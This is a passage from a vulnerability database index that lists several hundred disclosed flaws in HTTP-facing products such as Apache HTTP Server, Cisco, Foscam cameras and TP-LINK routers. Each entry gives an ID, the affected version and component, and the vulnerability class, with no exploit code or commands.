17732| [116586] Schneider Electric BMXNOR0200 Request Parser HTTP Request Code Execution
17733| [116564] gunicorn 19.4.5 gunicorn/http/wsgi.py process_headers HTTP Header privilege escalation
17734| [116561] Fyodor Nmap up to 7.60 http-fetch directory traversal
17735| [116818] Oracle Sun ZFS Storage Appliance Kit up to 8.7.16 HTTP data path subsystems information disclosure
17736| [116815] Oracle Sun ZFS Storage Appliance Kit up to 8.7.16 HTTP data path subsystems denial of service
17737| [116700] Oracle HTTP Server 12.1.3/12.2.1.2 OSSL Module information disclosure
17738| [116309] Appear TV XC5000/XC5100 3.26.217 Web Server HTTP GET Request directory traversal
17739| [116206] plays.tv Service up to 1.27 plays_service.exe HTTP Message privilege escalation
17740| [116205] plays.tv Service up to 1.27 plays_service.exe HTTP Message privilege escalation
17741| [116168] F5 BIG-IP up to 11.5.5/11.6.2/12.1.2 SPDY/HTTP2 Request denial of service
17742| [116218] CyberArk Password Vault Web Access up to 9.9.4 REST API HTTP Header privilege escalation
17743| [116171] Kaazing Gateway/Gateway JMS Edition HTTP/WebSocket HTTP Request privilege escalation
17744| [116140] Kaazing Gateway/Gateway JMS Edition 4.0.2/4.0.3/4.0.4 WebSocket HTTP Request Response Splitting information disclosure
17745| [116100] ubiQuoss VP5208A /cgi-bin/bcm_password HTTP Request information disclosure
17746| [116054] Symantec Advanced Secure Gateway/CacheFlow/ProxySG Management Console HTTP/HTTPS Request Crash denial of service
17747| [116024] Microsoft Windows up to Server 2016 HTTP.sys denial of service
17748| [115904] Moxa MXView 2.8 Private Key HTTP GET Request information disclosure
17749| [115670] D-Link DSL-3782 1.01 Diagnostics /userfs/bin/tcapi Diagnostics_Entry HTTP Request memory corruption
17750| [115665] Ruby up to 2.2.9/2.3.6/2.4.3/2.5.0 WEBrick Server HTTP Request Memory Consumption denial of service
17751| [115637] Ruby up to 2.2.9/2.3.6/2.4.3/2.5.0 HTTP Server HTTP Response Split privilege escalation
17752| [115496] SickRage HTTP Response Credentials information disclosure
17753| [115192] Cisco IOS XE Web-based User Interface HTTP Requests privilege escalation
17754| [115105] Cisco Spark Hybrid Calendar Service Auto Discovery HTTP Request weak encryption
17755| [115061] Apache HTTP Server up to 2.4.29 HTTP Digest Authentication Challenge HTTP Requests Replay privilege escalation
17756| [115060] Apache HTTP Server up to 2.4.29 mod_cache_socache Request Header Crash denial of service
17757| [115059] Apache HTTP Server up to 2.4.29 HTTP2 NULL Pointer Dereference denial of service
17758| [115058] Apache HTTP Server up to 2.4.29 HTTP Header Crash denial of service
17759| [115057] Apache HTTP Server up to 2.4.29 mod_session Variable Name Cache privilege escalation
17760| [115039] Apache HTTP Server up to 2.4.29 FilesMatch File Upload privilege escalation
17761| [115038] Apache HTTP Server up to 2.0.65/2.2.34/2.4.29 mod_authnz_ldap Crash denial of service
17762| [114947] IBM Jazz Foundation HTTP Request information disclosure
17763| [114784] Ceph up to 12.2.3/13.0.1 rgw_civetweb.cc RGWCivetWeb::init_env HTTP Header denial of service
17764| [114750] YzmCMS 3.7.1 global.func.php HTTP POST Request Code Execution
17765| [114661] Apache Allura up to 1.8.0 HTTP Response Splitting privilege escalation
17766| [114583] Jolokia Agent 1.3.7 HTTP Servlet cross site scripting
17767| [114395] brianleroux tiny-json-http SSL Certificate Validator Man-in-the-Middle weak authentication
17768| [114369] Flexense SyncBreeze Enterprise 10.6.24 Web Server syncbrs.exe HTTP Requests memory corruption
17769| [114341] WebLog Expert Web Server Enterprise 9.4 Service Port 9991 HTTP Accept Header Crash denial of service
17770| [114258] Apache HTTP Server up to 2.4.22 mod_cluster Segmentation Fault denial of service
17771| [114208] Cisco Identity Services Engine Credential Reset HTTP Request privilege escalation
17772| [114100] SimpleSAMLphp up to 1.15.3 Signature Validation HTTPRedirect.php Return Value weak authentication
17773| [114089] Moxa OnCell G3100-HSPA up to 1.4 Build 16062919 HTTP Request denial of service
17774| [114056] Wowza Streaming Engine up to 4.7.0 HTTP Request directory traversal
17775| [113991] PHP up to 5.6.33/7.0.27/7.1.14/7.2.2 http_fopen_wrapper.c php_stream_url_wrap_http_ex HTTP Response memory corruption
17776| [113988] Tenda Ac9 V15.03.05.14_EN httpd Stack-based memory corruption
17777| [113986] Wowza Streaming Engine up to 4.7.0 com.wowza.wms.http.HTTPProviderMediaList HTTP Request cross site scripting
17778| [113985] Wowza Streaming Engine up to 4.7.0 HTTP Request Memory Consumption denial of service
17779| [113688] Asterisk HTTP Server res_http_websocket.c Size 0 denial of service
17780| [113602] FSX-P3Dv4 Installer 2.0.1.231 HTTP Traffic Cleartext information disclosure
17781| [113481] Jenkins up to 2.106/LTS 2.89.3 HTTP GET Request information disclosure
17782| [113382] Huawei DP300/RP200/TE30/TE40/TE50/TE60/TX50 HTTP Message memory corruption
17783| [113381] Huawei DP300/RP200/TE30/TE40/TE50/TE60/TX50 HTTP Message memory corruption
17784| [113380] Huawei DP300/RP200/TE30/TE40/TE50/TE60/TX50 HTTP Message memory corruption
17785| [113355] Huawei UMA V200R001C00 Maintenance Module HTTP Requests sql injection
17786| [113121] Vobot Clock up to 0.99.29 Breakout Download HTTP Response weak encryption
17787| [113073] Squid Proxy up to 4.0.22 HTTP Header HTTP Response NULL Pointer Dereference denial of service
17788| [113070] Squid Proxy up to 3.5.27/4.0.22 ESI Response HTTP Response denial of service
17789| [112985] Cisco RV132W Configuration Parameter HTTP Response information disclosure
17790| [112984] Cisco RV132W 1.0.1.11 Web Interface HTTP Request memory corruption
17791| [112981] Cisco Unified Communications Manager Web Framework HTTP Requests sql injection
17792| [112950] Google Chrome OS ChromeVox HTTP Requests Cleartext privilege escalation
17793| [112921] Suricata up to 4.0 HTTP Detection detect.c/stream-tcp.c TCP Packets privilege escalation
17794| [112920] Saifor CVMS HUB 1.3.1 HTTP Parameter secciones.xhtml sql injection
17795| [112878] mini_httpd/thttpd htpasswd memory corruption
17796| [113803] uTorrent Web HTTP RPC Server privilege escalation
17797| [112675] Asus AsusWRT up to 3.0.0.4.376.x HTTPd Server memory corruption
17798| [112674] Asus AsusWRT up to 3.0.0.4.380.7743 HTTPd Server Session Token privilege escalation
17799| [112673] Asus AsusWRT up to 3.0.0.4.380.7743 HTTPd Server Session Token privilege escalation
17800| [112626] Fortinet FortiOS up to 5.2/5.4.7/5.6.2 HTTP Header HTTP Requests cross site scripting
17801| [112508] Email Subscribers & Newsletters Plugin up to 3.4.7 on WordPress HTTP POST User information disclosure
17802| [112491] Wonder CMS 2.3.1 HTTP Host Header Open Redirect
17803| [112471] Swarm Plugin Client up to 3.4 on Jenkins commons-httpclient weak authentication
17804| [112466] Maven Plugin up to 2.17 on Jenkins commons-httpclient Certificate weak authentication
17805| [112465] Jenkins up to 2.73.1/2.83 commons-httpclient Certificate weak authentication
17806| [112452] RAVPower FileHub 2.000.056 HTTP Server privilege escalation
17807| [112405] RAVPower FileHub 2.000.056 HTTP Request information disclosure
17808| [112400] libcURL up to 7.57.0 HTTP Header HTTP Requests information disclosure
17809| [112398] libcURL up to 7.57.0 HTTP2 Out-of-Bounds memory corruption
17810| [112539] Mozilla Firefox up to 57.x WebExtension HTTPS privilege escalation
17811| [112330] Apache NiFi 1.5.0 Header HTTP Request privilege escalation
17812| [112294] AsusWRT up to 3.0.0.4 router/httpd/web.c do_vpnupload_post privilege escalation
17813| [112293] AsusWRT up to 3.0.0.4 router/httpd/httpd.c handle_request POST Request privilege escalation
17814| [112211] Cisco Prime Infrastructure Web Interface HTTP Request Open Redirect
17815| [112210] Cisco Prime Infrastructure Role-Based Access Control HTTP Request privilege escalation
17816| [112191] Cisco Switch Web Framework HTTP Response Splitting privilege escalation
17817| [112186] Oxid eShop HTTP Response CRLF privilege escalation
17818| [112028] Oracle HTTP Server Web Listener denial of service
17819| [112022] Oracle HTTP Server Web Listener information disclosure
17820| [111945] Asus Router AsusWRT-Merlin router/httpd/web.c ej_update_variables Variable memory corruption
17821| [111936] Master IPCAMERA01 3.3.4.2103 HTTP Request information disclosure
17822| [111897] Open On-Chip Debugger 0.10.0 Service Port 4444 HTTP POST Request privilege escalation
17823| [111836] D-Link DSL-2540U/DSL-2640U 1.00 diag_ping.cmd HTTP GET Request command injection
17824| [111814] Sophos SFOS up to 17.0.3 MR2 Logging Subsystem HTTP POST Request Persistent cross site scripting
17825| [111807] Phoenix Contact FL SWITCH 1.0 HTTP Requests weak authentication
17826| [111716] Undertow up to 1.3.30/1.4.16/2.0.0.Alpha1 Incomplete Fix CVE-2017-2666 HTTP Request HTTP Poisoning privilege escalation
17827| [111709] Yawcam up to 0.6.0 HTTP Server directory traversal
17828| [111461] Communigate Pro 6.2 XML Interface /Session HTTP POST Request spoofing
17829| [111406] DuoLingo TinyCards up to 0.x on Android HTTP weak encryption
17830| [111276] EmbedThis GoAhead Webserver up to 4.0.0 HTTP Listener Integer Overflow denial of service
17831| [111206] Red Lion HMI Panel HMI 2.41 PLC 2.42 URI HTTP POST Request denial of service
17832| [111181] NetTransport Download Manager up to 2.96L NetTransport.exe HTTP Response memory corruption
17833| [111027] AirLive BU-2015/BU-3026/WL-2000CAM/POE-200CAM 1.03.18 Web Server wireless_mft.cgi HTTP Requests weak authentication
17834| [111119] Apple macOS up to 10.13.1 IOAcceleratorFamily memory corruption
17835| [111053] GetGo Download Manager up to 5.3.0.2712 HTTP Server memory corruption
17836| [110998] H2O up to 2.2.3 HTTP2 Header denial of service
17837| [110994] H2O up to 2.2.2 HTTP1 Header denial of service
17838| [110982] F5 BIG-IP 12.1.0/12.1.1/12.1.2/13.0.0 HTTP HTTP Requests denial of service
17839| [110856] IBM Security Guardium 10.0 HTTP Response Splitting privilege escalation
17840| [110799] Zivif PR115-204-P-RS 2.3.4.2103 param.cgi HTTP Request weak authentication
17841| [110793] Kemp Load Balancer up to 7.2.40.0 Web Application Firewall HTTP POST Request Bypass privilege escalation
17842| [110734] ACTi Camera A1D-500-V6.11.31-AC HTTP GET information disclosure
17843| [110717] Mckesson Conserus Workflow Intelligence 2.0.2 HTTP GET Request weak authentication
17844| [110704] Rapid7 Nexpose up to 6.4.65 Web Application HTTP Requests cross site request forgery
17845| [110670] vBulletin up to 5.3.x on Windows HTTP Request directory traversal
17846| [110508] SAP HANA 1.0 HTTP/REST Endpoint Controller Log privilege escalation
17847| [110477] Check_MK up to 1.2.8p24/1.4.0p8 HTTP Basic Authentication Parameter cross site scripting
17848| [110437] Adobe Experience Manager 6.0/6.1/6.2/6.3 Token HTTP GET Request information disclosure
17849| [110336] Fossil up to 2.3 SSH Sync Protocol http_transport.c Hostname privilege escalation
17850| [110238] Dell Storage Manager up to 16.3.19 SMI-S Service HTTP Requests denial of service
17851| [110192] Synology Photo Station up to 6.3/6.8.1 HTTP Config File .htaccess information disclosure
17852| [110186] ZKTime Web 2.0.1.12280 Modify Password password_change() HTTP Request cross site request forgery
17853| [129040] Apple iOS up to 11.1 HTTP weak encryption
17854| [110146] ZTE ZXDSL 831CII HTTP Basic Authentication connoppp.cgi GET Request privilege escalation
17855| [110110] D-Link DIR-605L HNAP HTTP Request Crash denial of service
17856| [110108] Restlet Framework up to 2.3.11 REST API HTTP Request XML External Entity
17857| [110107] Restlet Framework up to 2.3.10 SimpleXMLProvider REST API HTTP Request XML External Entity
17858| [110081] Cisco Secure Access Control System Web Interface HTTP Requests information disclosure
17859| [110056] Cisco WebEx Meeting Center Access Control HTTP Traffic privilege escalation
17860| [109979] TP-LINK TL-WVR/TL-WAR/TL-ER/TL-R uhttpd interface.lua get_device_byif privilege escalation
17861| [109978] TP-LINK TL-WVR/TL-WAR/TL-ER/TL-R uhttpd cgi-bin/luci HTTP Header information disclosure
17862| [109977] TP-LINK TL-WVR/TL-WAR/TL-ER/TL-R uhttpd bridge.lua get_device_byif privilege escalation
17863| [109976] TP-LINK TL-WVR/TL-WAR/TL-ER/TL-R uhttpd diagnostic.lua zone_get_effect_devices privilege escalation
17864| [109961] DBL DBLTek HTTP Basic Authentication frame.html Parameter privilege escalation
17865| [109893] Huawei Vmall App up to 1.5.8.4 on Android HTTP Requests privilege escalation
17866| [109852] Huawei VCM5010 HTTP Request File Upload weak authentication
17867| [109644] British Columbia Institute of Technology CodeIgniter 3.1.3 set_status_header() HTTP Header privilege escalation
17868| [109472] Cisco Registered Envelope Service Web-based Management Interface HTTP Request cross site scripting
17869| [109471] Cisco Registered Envelope Service Web-based Management Interface HTTP Request cross site scripting
17870| [109470] Cisco Registered Envelope Service Web-based Management Interface HTTP Request cross site scripting
17871| [109469] Cisco Registered Envelope Service Web-based Management Interface HTTP Request cross site scripting
17872| [109453] Cisco Registered Envelope Service Web-based Management Interface HTTP Request cross site scripting
17873| [109452] Cisco Registered Envelope Service Web-based Management Interface HTTP Request cross site scripting
17874| [109451] Cisco Registered Envelope Service Web-based Management Interface HTTP Request cross site scripting
17875| [109404] b3log Symphony 2.2.0 Admin Console AdminProcessor.java HTTP Header cross site scripting
17876| [109326] Ulterius up to 1.8.4 HTTP Server HttpServer.cs Process directory traversal
17877| [109260] Debut Embedded http Server 1.20 HTTP Request Flooding denial of service
17878| [109217] Circle with Disney 2.0.1 HTTP Request /api/CONFIG/restore Network Packet privilege escalation
17879| [109216] Circle with Disney 2.0.1 SSID HTTP Requests Shell privilege escalation
17880| [109205] Cesanta Mongoose 6.8 HTTP Server HTTP POST Request Use-After-Free memory corruption
17881| [109204] Circle with Disney 2.0.1 HTTP Request /api/CONFIG/restore Network Packet privilege escalation
17882| [109198] Circle with Disney HTTP Packet /api/CONFIG/backup privilege escalation
17883| [108907] Cisco WebEx Meetings Server HTTP Header Reply HTTP Response information disclosure
17884| [108795] Apache Traffic Server up to 5.3.0 HTTP2 set_dynamic_table_size memory corruption
17885| [108787] Apache HttpClient up to 4.3.0 HttpClientBuilder.java unknown vulnerability
17886| [108734] F5 BIG-IP up to 11.5.4/11.6.1/12.1.1 Traffic Management Microkernel HTTP Request Restart denial of service
17887| [108732] F5 BIG-IP up to 11.5.4/11.6.1/12.1.1 HTTP Proxy/SOCKS privilege escalation
17888| [108657] GNU wget up to 1.19.1 HTTP Chunk Size src/retr.c fd_read_body memory corruption
17889| [108656] GNU wget up to 1.19.1 HTTP Chunk Size src/http.c skip_short_body memory corruption
17890| [108655] Fortinet FortiMail up to 5.1/5.2.9/5.3.9 Webmail Login HTTP Requests Reflected cross site scripting
17891| [108654] Fortinet FortiWLC up to 6.1-5/7.0-10/8.2/8.3.2 WebUI HTTP Requests privilege escalation
17892| [108653] Fortinet FortiWLC up to 8.3.2 HTTP POST Request cross site scripting
17893| [108593] Redis up to 3.2.6 networking.c HTTP Request privilege escalation
17894| [108544] reseed Installation HTTP Request weak authentication
17895| [108312] Apache HTTP Server on RHEL IP Address Filter privilege escalation
17896| [108269] Cisco Network Analysis Module Web Interface HTTP Requests directory traversal
17897| [108250] Oracle Secure Global Desktop 5.3 Apache HTTP Server memory corruption
17898| [108100] Oracle HTTP Server OSSL Module information disclosure
17899| [108096] Oracle HTTP Server 11.1.1.9.0/12.1.3.0.0 Web Listener information disclosure
17900| [108091] Oracle HTTP Server Web Listener information disclosure
17901| [107992] Google Go up to 1.4.2 net/http net/http/transfer.go HTTP Request privilege escalation
17902| [107991] Google Go up to 1.4.2 net/http net/textproto/reader.go HTTP Request privilege escalation
17903| [107865] EWBF Cuda Zcash Miner 0.3.4b HTTP API TCP Connection denial of service
17904| [107863] AIRTAME HDMI Dongle up to 2.x Admin Panel /bin/login.php HTTP Header privilege escalation
17905| [107848] Juniper Junos on SRX HTTPS Certificate Validator Man-in-the-Middle weak authentication
17906| [107607] IBM WebSphere Application Server 7.0/8.0/8.5/9.0 HTTP Response Splitting privilege escalation
17907| [107563] libcsoap nanohttp NULL Pointer Dereference denial of service
17908| [107554] http gem up to 0.7.2 on Ruby Hostname Validator SSL Connection weak authentication
17909| [107532] Trend Micro OfficeScan 11.0/12.0 fcgiOfcDDA.exe HTTP Requests denial of service
17910| [107489] Cisco License Manager Web Interface HTTP Request directory traversal
17911| [107485] Cisco ASA HTTP Request denial of service
17912| [107478] Akka http up to 10.0.5 HTTP Header Stack-based denial of service
17913| [107462] Google Go 1.6.3/1.7.3 net-http RequestParseMultipartForm File Descriptor denial of service
17914| [107333] Apache Wicket up to 8.0.0-M1 CSRF Prevention HTTP Header privilege escalation
17915| [107312] Philips Hue Bridge BSB002 SW 1707040932 Public API HTTP Traffic weak encryption
17916| [107286] EGroupware Community Edition up to 16.1 HTTP Header Stored cross site scripting
17917| [107283] SmarterStats 11.3.6347 HTTP Header ReferringURLsWithQueries cross site scripting
17918| [107262] Apache Mesos up to 1.1.2/1.2.1/1.3.0/1.4.0-dev libprocess HTTP Request Crash denial of service
17919| [107258] Apache Mesos up to 1.1.2/1.2.1/1.3.0/1.4.0-dev libprocess HTTP Request Crash denial of service
17920| [107229] Cisco IOS XE up to 3.7.5E Wireless LAN Controller GUI HTTP Requests privilege escalation
17921| [107101] Plone up to 3.3.6 HTTP Response Injection privilege escalation
17922| [106935] Cisco Wide Area Application Services HTTP Request denial of service
17923| [106931] Cisco Unified Customer Voice Portal 10.5 OAMP Reset HTTP Request privilege escalation
17924| [106867] Polycom RealPresence Resource Manager up to 8.3 Session Identifier HTTP GET Request information disclosure
17925| [106866] Polycom RealPresence Resource Manager up to 8.3 PlcmRmWeb/JConfigManager HTTP POST Request information disclosure
17926| [106846] Apache Tomcat up to 7.0.79 on Windows HTTP PUT Method Parameter File Upload privilege escalation
17927| [106831] Cisco Cloud Web Security up to 3.0.1.6 Filter HTTP Method privilege escalation
17928| [106777] Apache HTTP Server up to 2.2.34/2.4.27 Limit Directive ap_limit_section HTTP Request information disclosure
17929| [106570] D-Link DIR-850L up to FW114WWb07_h2ab_beta1/FW208WWb02 mydlink Cloud Service HTTP weak encryption
17930| [106556] Apache Traffic Server up to 5.3.1 HTTP2 unknown vulnerability
17931| [106555] Apache Traffic Server up to 5.3.1 HTTP2 unknown vulnerability
17932| [106233] Yes Set-top Box on Cisco HTTP Remote Procedure Call Request denial of service
17933| [106229] dayrui FineCMS 5.0.11 controllers/Form.php call_msg HTTP Header cross site scripting
17934| [106228] dayrui FineCMS 5.0.11 Login.php out HTTP Header cross site scripting
17935| [106227] dayrui FineCMS 5.0.11 api.php oauth HTTP Header cross site scripting
17936| [106318] Google Chrome HTTPS Redirect weak encryption
17937| [106128] Scrapy 1.4 http11.py denial of service
17938| [106124] GoAhead up to 3.6.5 http.c websDecodeUrl denial of service
17939| [106086] Intel McAfee LiveSafe up to 16.0.2 HTTP Backend privilege escalation
17940| [106085] Intel McAfee Live Safe/McAfee Security Scan Plus HTTP Backend privilege escalation
17941| [106031] Async Http Client up to 2.0.34 privilege escalation
17942| [106000] CrushFTP up to 7.7.x/8.1.x HTTP Header unknown vulnerability
17943| [105883] Huawei VCN500 Operation and Maintenance Unit HTTP Request sql injection
17944| [105799] fli4l up to 3.10.0/4.0 httpd HTTP Header Injection privilege escalation
17945| [105798] fli4l up to 3.10.0/4.0 httpd privilege escalation
17946| [105736] IBM EN6131/IB6131 up to 3.4 HTTP Response CRLF privilege escalation
17947| [105734] D-Link DNR-320L/DNS-320LW/DNR-322L/DNR-326/DNS-327L HTTP Header login_mgr.cgi memory corruption
17948| [105424] Cisco Unified Communications Manager 10.5(2.10000.5)/11.0(1.10000.10)/11.5(1.10000.6) Role Based Access Control HTTP Request privilege escalation
17949| [105423] Cisco WebEx Meetings Server 1.0.0.30/1.0.0.33/1.0.1.9/1.0.1.16 Web Interface HTTP Response information disclosure
17950| [105219] Apache Tomcat up to 8.5.15/9.0.0.M21 HTTP2 Bypass directory traversal
17951| [105205] Apache CXF up to 3.0.11/3.1.8 HTTP Transport Module Parameter cross site scripting
17952| [105191] Asus RT-N300 up to 380.67_0RT-AC5300 httpd HTTP GET Request Stack-based memory corruption
17953| [104960] Loginizer Plugin up to 1.3.5 on WordPress HTTP Header sql injection
17954| [104857] Debut Embedded httpd 1.20 on DCP-J132W HTTP Packet denial of service
17955| [104674] IBM InfoSphere Master Data Management up to 11.6 HTTP Parameter Duplicate privilege escalation
17956| [104564] Cacti 1.1.13 HTTP Header auth_profile.php Referer Header cross site scripting
17957| [104533] mod_http2 2.4.24/2.4.25 HTTP2 Request NULL Pointer Dereference denial of service
17958| [104333] Cisco ASR 5000 Restriction HTTP Request Bypass privilege escalation
17959| [104332] Cisco ASR 5000 GGSN Gateway HTTP Request Open Redirect
17960| [103780] MetInfo 5.3.17 HTTP Header /include/stat/stat.php cross site scripting
17961| [103693] Apache OpenMeetings 1.0.0 HTTP Method privilege escalation
17962| [103621] Live Helper Chat up to 2.06v HTTP Header cross site scripting
17963| [103593] Oracle GlassFish Server Open Source Edition 4.1 HTTP GET Request directory traversal
17964| [103557] Foreman up to 1.8.x HTTP Redirect weak encryption
17965| [103521] Apache HTTP Server 2.4.26 HTTP2 Free memory corruption
17966| [103520] Apache HTTP Server up to 2.2.33/2.4.26 mod_auth_digest Authorization Header memory corruption
17967| [103489] McAfee Advanced Threat Defense 3.4/3.6/3.8/3.10 Web Interface HTTP Request command injection
17968| [103488] McAfee Advanced Threat Defense 3.4/3.6/3.8/3.10 Web Interface HTTP Request command injection
17969| [103487] McAfee Advanced Threat Defense 3.4/3.6/3.8/3.10 HTTP Request weak authentication
17970| [103410] FineCMS Logging HTTP Request Stored cross site scripting
17971| [103441] Microsoft Windows up to Server 2016 Object HTTP.sys information disclosure
17972| [103292] Etherpad up to 1.1.1 HTTP API Request node/utils/Minify.js directory traversal
17973| [103275] FineCMS HTTP Host Header get_image_data.php Server-Side Request Forgery
17974| [102926] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request memory corruption
17975| [102925] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface pureftpd.passwd HTTP Request privilege escalation
17976| [102924] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request Shell privilege escalation
17977| [102923] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request Shell privilege escalation
17978| [102922] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request Shell privilege escalation
17979| [102921] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request Shell privilege escalation
17980| [102920] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request privilege escalation
17981| [102919] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request privilege escalation
17982| [102904] sthttpd up to 2.27.0 libhttpd.c de_dotdot Filename memory corruption
17983| [102902] Arcadyan SLT-00 Star* up to R7.6 Static Routing Table Config HTTP Request privilege escalation
17984| [102891] FFmpeg up to 2.8.11/3.0.7/3.1.7/3.2.4/3.3.0 HTTP Live Streaming Filename Extension Name information disclosure
17985| [102879] PHPUnit up to 4.8.27/5.6.2 HTTP POST Util/PHP/eval-stdin.php privilege escalation
17986| [102865] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request privilege escalation
17987| [102864] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request privilege escalation
17988| [102863] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request privilege escalation
17989| [102806] ntopng up to 2.x HTTP Response Splitting privilege escalation
17990| [102782] Vivotek IB8369/FD8164/FD816BA Web Service downloadMedias.cgi HTTP Request directory traversal
17991| [102781] Vivotek IB8369/FD8164/FD816BA Web Service testserver.cgi HTTP Request command injection
17992| [102774] IBM Sterling B2B Integrator Standard Edition 5.2 HTTP GET Request information disclosure
17993| [102772] IBM Sterling B2B Integrator Standard Edition 5.2 HTTP information disclosure
17994| [102721] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request memory corruption
17995| [102720] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request memory corruption
17996| [102719] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request directory traversal
17997| [102718] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request Shell privilege escalation
17998| [102717] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request command injection
17999| [102716] Foscam C1 Indoor HD Camera Web Management Interface HTTP Request Stack-based memory corruption
18000| [102698] Apache HTTP Server up to 2.2.32/2.4.25 mod_mime Content-Type memory corruption
18001| [102697] Apache HTTP Server 2.2.24/2.2.32 HTTP Strict Parsing ap_find_token Request Header memory corruption
18002| [102693] MediaTek SDK Custom httpd Plugin POST Request weak authentication
18003| [102690] Apache HTTP Server up to 2.2.32/2.4.25 mod_ssl ap_hook_process_connection() denial of service
18004| [102689] Apache HTTP Server up to 2.2.32/2.4.25 ap_get_basic_auth_pw weak authentication
18005| [102276] Cloud Foundry HTTP Header unknown vulnerability
18006| [102020] Apache Tomcat up to 9.0.0.M1 Java Servlet HTTP Method unknown vulnerability
18007| [101825] Contiki Operating System 3.0 MQTT/IBM Cloud Config Page HTTP POST Request Persistent cross site scripting
18008| [101824] Contiki Operating System 3.0 httpd-simple.c denial of service
18009| [101768] Spring Security up to 3.2.4 CAS Proxy Ticket Authentication HTTP Request Bypass privilege escalation
18010| [101745] Trend Micro ServerProtect for Linux 3.0 Update HTTP weak authentication
18011| [101642] Vanilla Forums up to 2.3.0 Password Reset class.email.php from HTTP Host Header information disclosure
18012| [101561] Cisco Remote Expert Manager 11.0.0 Web Interface HTTP Requests information disclosure
18013| [101560] Cisco Remote Expert Manager 11.0.0 Web Interface HTTP Requests information disclosure
18014| [101559] Cisco Remote Expert Manager 11.0.0 Web Interface HTTP Requests information disclosure
18015| [101558] Cisco Remote Expert Manager 11.0.0 Web Interface HTTP Requests information disclosure
18016| [101557] Cisco Remote Expert Manager 11.0.0 Web Interface HTTP Requests information disclosure
18017| [101556] Cisco Remote Expert Manager 11.0.0 Web Interface HTTP Requests information disclosure
18018| [101554] Cisco Prime Collaboration Provisioning up to 11.0 Role-Based Access Control HTTP Requests directory traversal
18019| [101553] Cisco Prime Collaboration Provisioning up to 11.0 Role-Based Access Control HTTP Requests directory traversal
18020| [101552] Cisco Prime Collaboration Provisioning up to 12.0 Role-Based Access Control HTTP Requests directory traversal
18021| [101547] Tenda FH1202/F1202/F1200 up to 1.2.0 HTTP Service POST Request Stack-based denial of service
18022| [101529] PlaySMS 1.4 Phonebook Import import.php HTTP Header privilege escalation
18023| [101515] Red Hat JBoss Application Server up to 4.x JMS over HTTP Invocation Layer HTTPServerILServlet.java privilege escalation
18024| [101489] MODX Revolution up to 2.5.6 HTTP Header Cache cross site scripting
18025| [101484] WordPress up to 4.7.4 HTTP Class Open Redirect
18026| [101483] WordPress up to 4.7.4 XML-RPC API HTTP POST Request privilege escalation
18027| [101480] WordPress up to 4.7.4 XML-RPC API HTTP POST Request unknown vulnerability
18028| [101474] Cisco Prime Collaboration Provisioning up to 12.0 Web Interface HTTP Request weak authentication
18029| [101473] Cisco Prime Collaboration Provisioning up to 10.6 Web Interface HTTP Request information disclosure
18030| [101439] McAfee Network Data Loss Prevention 9.3.x Web Server HTTP Method information disclosure
18031| [101438] McAfee Network Data Loss Prevention 9.3.x HTTP Response Header Clickjacking privilege escalation
18032| [101436] McAfee Network Data Loss Prevention 9.3.x HTTP Response Header Banner information disclosure
18033| [101435] McAfee Network Data Loss Prevention 9.3.x HTTP Request information disclosure
18034| [101434] McAfee Network Data Loss Prevention 9.3.x HTTP Header cross site scripting
18035| [101424] Edgewater Edgemarc HTTP Web-Management Backdoor privilege escalation
18036| [101125] Synology Photo Station up to 6.5.3 HTTP Header login.php Shell Metacharacter privilege escalation
18037| [101008] Microsoft Internet Explorer 9/10/11 HTTPS Bypass privilege escalation
18038| [100893] Certec atvise scada up to 2.x HTTP Header privilege escalation
18039| [100909] Accellion FTA HTTP POST ldaptest.html privilege escalation
18040| [100890] IBM WebSphere Cast Iron 7.0.0/7.5.0.0 DNS/HTTP privilege escalation
18041| [100887] Citrix XenMobile Server up to 10.5.0 HTTP 302 Redirect Host Header spoofing
18042| [100856] WordPress up to 4.8.3 Password Reset wp-login.php mail HTTP Header Open Redirect
18043| [100841] Cisco Wide Area Application Services 6.2.1/6.2.1a/6.2.3a SMART-SSL Accelerator SSL Connection denial of service
18044| [100827] Opsview Monitor Pro up to 4.5.x/4.6.4/5.0.2/5.1.0 HTTP GET Request directory traversal
18045| [100673] TS-WPTCAM/TS-WPTCAM2/TS-WLC2/TS-WRLC/TS-PTCAM up to 1.18 HTTP Header Injection privilege escalation
18046| [100603] TP-LINK C2/C20i up to 0.9.1 HTTP Request Command privilege escalation
18047| [100602] TP-LINK C2/C20i up to 0.9.1 HTTP Server /cgi/ansi Cookie denial of service
18048| [100534] Kallithea up to 0.3.1 Routes HTTP Request CSRF privilege escalation
18049| [100484] TP-LINK TL-SG108E up to 1.1.2 httpupg.cgi weak authentication
18050| [100415] Cisco Integrated Management Controller 3.0(1c) Web-based GUI HTTP POST Request privilege escalation
18051| [100412] Cisco Integrated Management Controller 3.0(1c) Web-based GUI HTTP Request privilege escalation
18052| [100410] Cisco FindIT Network Probe Software 1.0.0 Role-Based Access Control HTTP Request information disclosure
18053| [100315] Mozilla Firefox up to 52 application/http-index-format Uninitialized Memory unknown vulnerability
18054| [100306] Mozilla Firefox up to 52 HTTP2 denial of service
18055| [100305] Mozilla Firefox up to 52 application/http-index-format memory corruption
18056| [100191] Oracle Secure Global Desktop 4.71/5.2/5.3 Web Server (Apache HTTP Server) information disclosure
18057| [99832] Moxa AWK-3131A 1.1 HTTP Header HTTP Poisoning privilege escalation
18058| [99812] Google Android up to 6.0 HTTP Header URLConnection privilege escalation
18059| [99600] SAP TREX/Business Warehouse Accelerator Code Injection privilege escalation
